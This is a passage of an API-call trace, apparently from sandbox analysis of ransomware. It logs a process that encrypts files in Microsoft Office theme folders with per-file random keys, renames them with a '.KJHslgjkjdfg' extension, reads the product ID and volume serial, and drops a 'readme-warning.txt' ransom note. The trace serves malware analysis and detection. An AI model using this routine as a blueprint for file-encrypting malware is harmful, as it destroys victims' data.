hTemplateFile=0x0) returned 0x12c [0175.337] GetProcessHeap () returned 0x990000 [0175.337] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.337] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.337] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.337] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0175.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.340] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.340] GetProcessHeap () returned 0x990000 [0175.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.340] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.340] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.340] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.340] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.340] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.340] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.340] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.340] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.341] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.341] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.341] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c6b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4c6b, lpOverlapped=0x0) returned 1 [0175.342] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4c70) returned 1 [0175.342] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.342] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4c70, lpOverlapped=0x0) returned 1 [0175.342] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.342] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.342] SetEndOfFile (hFile=0x12c) returned 1 [0175.345] GetProcessHeap () returned 0x990000 [0175.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.345] GetProcessHeap () returned 0x990000 [0175.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0175.352] CloseHandle (hObject=0x12c) returned 1 [0175.352] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0175.352] GetProcessHeap () returned 0x990000 [0175.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.352] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.352] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0175.352] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.352] GetProcessHeap () returned 0x990000 [0175.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0175.352] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.353] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0175.353] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.353] GetProcessHeap () returned 0x990000 [0175.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0175.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.353] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0175.353] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.353] GetProcessHeap () returned 0x990000 [0175.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0175.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.353] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0175.353] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.353] GetProcessHeap () returned 0x990000 [0175.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.353] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0175.353] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.353] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0175.354] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0175.354] RegCloseKey (hKey=0x12c) returned 0x0 [0175.354] GetProcessHeap () returned 0x990000 [0175.354] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0175.354] GetProcessHeap () returned 0x990000 [0175.354] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.354] GetProcessHeap () returned 0x990000 [0175.354] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.354] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0175.354] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.354] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0175.354] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.354] GetProcessHeap () returned 0x990000 [0175.355] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.355] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0175.355] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0175.355] GetProcessHeap () returned 0x990000 [0175.355] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0175.355] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\readme-warning.txt") returned 81 [0175.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.355] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0175.357] CloseHandle (hObject=0x12c) returned 1 [0175.357] GetProcessHeap () returned 0x990000 [0175.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0175.357] GetProcessHeap () returned 0x990000 [0175.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0175.357] GetProcessHeap () returned 0x990000 [0175.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0175.357] GetProcessHeap () returned 0x990000 [0175.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.357] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0175.358] GetProcessHeap () returned 0x990000 [0175.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0175.358] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1 [0175.358] GetProcessHeap () returned 0x990000 [0175.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0175.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0175.360] GetProcessHeap () returned 0x990000 [0175.360] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0175.360] GetProcessHeap () returned 0x990000 [0175.360] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0175.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.361] GetProcessHeap () returned 0x990000 [0175.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.361] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.361] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.361] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0175.382] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.382] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.383] GetProcessHeap () returned 0x990000 [0175.383] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.383] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.383] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.383] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.383] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.383] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.383] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.383] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.383] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.383] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.383] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.383] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.384] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x58f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x58f, lpOverlapped=0x0) returned 1 [0175.384] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x590, dwBufLen=0x590 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x590) returned 1 [0175.384] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.384] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x590, lpOverlapped=0x0) returned 1 [0175.384] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.384] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.384] SetEndOfFile (hFile=0x12c) returned 1 [0175.387] GetProcessHeap () returned 0x990000 [0175.387] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.387] GetProcessHeap () returned 0x990000 [0175.387] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.kjhslgjkjdfg")) returned 1 [0175.392] CloseHandle (hObject=0x12c) returned 1 [0175.392] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0175.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.396] GetProcessHeap () returned 0x990000 [0175.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.397] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.397] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0175.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.399] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.399] GetProcessHeap () returned 0x990000 [0175.399] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.399] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.399] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.399] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.400] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.400] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.400] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.400] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.400] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.400] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.400] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.400] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb30e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xb30e, lpOverlapped=0x0) returned 1 [0175.401] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb310, dwBufLen=0xb310 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb310) returned 1 [0175.402] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, 